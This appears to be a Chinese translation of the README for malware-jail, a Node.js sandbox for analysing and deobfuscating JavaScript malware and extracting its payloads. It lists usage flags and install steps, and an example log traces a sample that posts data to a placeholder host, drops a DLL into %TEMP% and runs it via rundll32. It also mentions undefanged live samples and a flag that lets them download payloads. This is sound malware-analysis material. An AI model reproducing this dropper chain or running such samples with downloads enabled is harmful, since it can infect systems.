用于半自动 JavaScript 恶意软件分析、反混淆和有效载荷提取的沙箱。基于 Node.js 编写。
malware-jail 基于 Node 的 'vm' 沙箱 构建。目前已实现 WScript(Windows 脚本宿主)上下文 env/wscript.js,至少覆盖了恶意软件常用的部分。互联网浏览器上下文已部分实现 env/browser.js。
可在任何操作系统上运行。在 Linux 上开发并测试,Node.js v6.6.0。
由于使用了部分 ES6 特性,你需要 Node.js >= 6.x。
已分析的恶意软件样本请参见 示例。
如果你有新的恶意软件样本,请通过 issue 或 pull request 提交至 javascript-malware-collection。
将 WMI 查询枚举到文件:wmis.json
新增参数:
--t404 - http 请求始终返回 HTTP/404 并抛出异常。这可以枚举所有远程 URL。
URL 现在已保存到 urls.json。请参阅最新的 示例#issue-14 恶意软件。
各种错误修复和改进。
各种错误修复和改进。
新增参数:
-t msecs - 将执行时间限制为 "msecs" 毫秒,默认 60 秒。
--h404 - http 请求始终返回 HTTP/404 且不抛出异常。这可以枚举所有远程 URL。
malware-jail 基于 minimist、iconv-lite 和 entities 构建。
使用 git 拉取源码:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
然后使用以下命令安装所有依赖(minimist、entities、iconv-lite):
npm install
暂不可用,即将推出……
处理真实恶意软件时请务必小心。能识别此沙箱的恶意软件可能试图逃逸并危害你的电脑。 建议在非特权 Linux 账户下或虚拟化的 Windows 机器中运行。 malware 文件夹中的 Angler 文件未被解除武装。
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use alternative config file, preceed with ./
7 May 20:54:52 - -e ifile ... js that simulates specific environment
7 May 20:54:52 - -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 - -s odir ... output directory for generated files (malware payload)
7 May 20:54:52 - -b id ... browser type, use -b list for possible values
7 May 20:54:52 - -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 - --trace ... print stack trace with every log line
7 May 20:54:52 - --down ... allow downloading malware payloads from remote servers
7 May 20:54:52 - --h404 ... on download return always HTTP/404
7 May 20:54:52 - malware ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
在示例文件夹中,你可以找到一个已停用的恶意软件文件。使用以下命令运行分析:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
您可以测试基于互联网浏览器的恶意软件:
node jailme.js -b IE11_W10 malware/example_browser.js
分析结束时,完整的沙箱上下文会被转储到 _sandbox\_dump\_after.json_ 文件中。
你可能想检查 _sandbox\_dump\_after.json_ 中的以下条目:
_sandbox\_dump\_after.json_ 使用 JSONPath(通过 JSON-js/cycle.js 实现)来保存同一对象的重复或循环引用。
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 - => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 - => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 - => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been saved to: sandbox_dump_after.json
在上述示例中,有效载荷已被提取到 output/_TEMP__49629482.dll 和 output/_TEMP__38611354.pdf 中。
malware 文件夹包含真实世界的恶意软件样本。大部分从 https://malwr.com 下载。
请参阅 示例 获取完整的恶意软件样本索引。
从 malwr.com 获取恶意脚本:Wileen.js
显然,如果在浏览器中运行,该恶意软件不会执行:
if (typeof document == "undefined") {
因此,你可能想使用一个不加载浏览器/DOM 组件的备选配置文件:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
有趣的 PowerShell 使用: